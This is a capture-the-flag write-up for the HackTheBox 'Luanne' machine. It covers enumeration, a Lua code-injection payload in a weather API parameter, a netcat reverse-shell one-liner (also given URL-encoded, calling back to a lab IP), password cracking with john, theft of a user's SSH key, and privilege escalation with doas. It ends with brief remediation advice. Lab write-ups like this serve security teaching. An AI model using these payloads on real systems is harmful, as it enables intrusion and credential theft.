HackTheBox - Luanne Writeup

Information Gathering

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Nmap scan

sudo nmap -sC -sV 10.10.10.218 -v

As we can see above, We have 3 PORTS open:

• Port 22 running OpenSSH 8.0 ; Recent version, no need waste time on it
• Port 80 running nginx ; robots.txt –> /weather
• Port 9001 running Medusa httpd 1.12 ; If we were on linux i think this should be something to look at

  Skipping the gobuster part, it will only show us robots.txt. I do prefer Dirb when it comes to directory bruteforcing

Dirb scan

You can clone the SecLists repo from here https://github.com/danielmiessler/SecLists

We already got /weather/ from the nmap results, let’s see enum more

dirb -R http://10.10.10.218/weather/ /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt 

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Foothold

From our previous scans we were able to find

http://10.10.10.218/weather/forecast/

Let’s try it as a GET param Adding a < ‘ > causes an error

Skipping the SQL Injection part as it got me nothing

Let’s now try if we have any potential code injection. Basically, The idea is to end the current lua command and inject. Another think to note for lua a comment starts anywhere with a double hyphen ( – ) and runs until the end of the line.

Let’s first try this payload

/weather/forecast?city=London');print("\nhi")--

That worked! Let’s try if we can use system commands

/weather/forecast?city=London');print("\n");os.execute("id")--

That worked aswell! Let’s now get a reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

Final url encoded payload:

/weather/forecast?city=%4c%6f%6e%64%6f%6e%27%29%3b%70%72%69%6e%74%28%22%5c%6e%22%29%3b%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%34%2e%33%39%20%31%32%33%34%20%3e%2f%74%6d%70%2f%66%22%29%2d%2d

Let’s execute it and get a shell on the box

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User PrivEsc

We can see that we have the default .htpasswd file which can contain potential passwords Let’s see what we got there

echo "$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0" > hash ; john hash -w=/opt/rockyou.txt

And we cracked it!

Let’s start by viewing the running processes

You need to specify the w tag to view the whole command

We can see that the user r.michaels is running a local server at port 3001! Let’s exploit this to get his private SSH key!

curl http://127.0.0.1:3001/~r.michaels/id_rsa

But we get 401 Unauthorized page!

Let’s try the credentials that we got earlier

curl http://127.0.0.1:3001/~r.michaels/id_rsa --user webapi_user:iamthebest

And it worked! Let’s login to the user

And we grab that user flag!

Root PrivEsc

An interesting backups file which contains an encrypted tar.gz file

Because we’re on an NetBSD box, we’re gonna use netpgp to decrypt then extract its content

netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=backup.tar.gz

Let’s check that .htpasswd file! webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

Let’s crack this password with john!

littlebear

Let’s try to switch to the root user with this password!

https://www.vultr.com/docs/introduction-to-doas-on-NetBSD

doas su

And we rooted the box!

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Bonus Section

Let’s see what caused the lua injection!

cat /home/r.michaels/devel/webapi/weather.lua

Going through the code we can see the injection point!

httpd.write('"error": "unknown city: ' .. city .. '"}')

basically what we have done is

httpd.write('"error": "unknown city: hi');os.execute("id") -- '"}')

To avoid this kind of injection, we should validate and sanitize the “city” input. Scanning the city variable for escape characters and special symbols, making a blacklist for any suspicious word {os,execute,print,…} Or just by removing the ‘.. city ..’ part!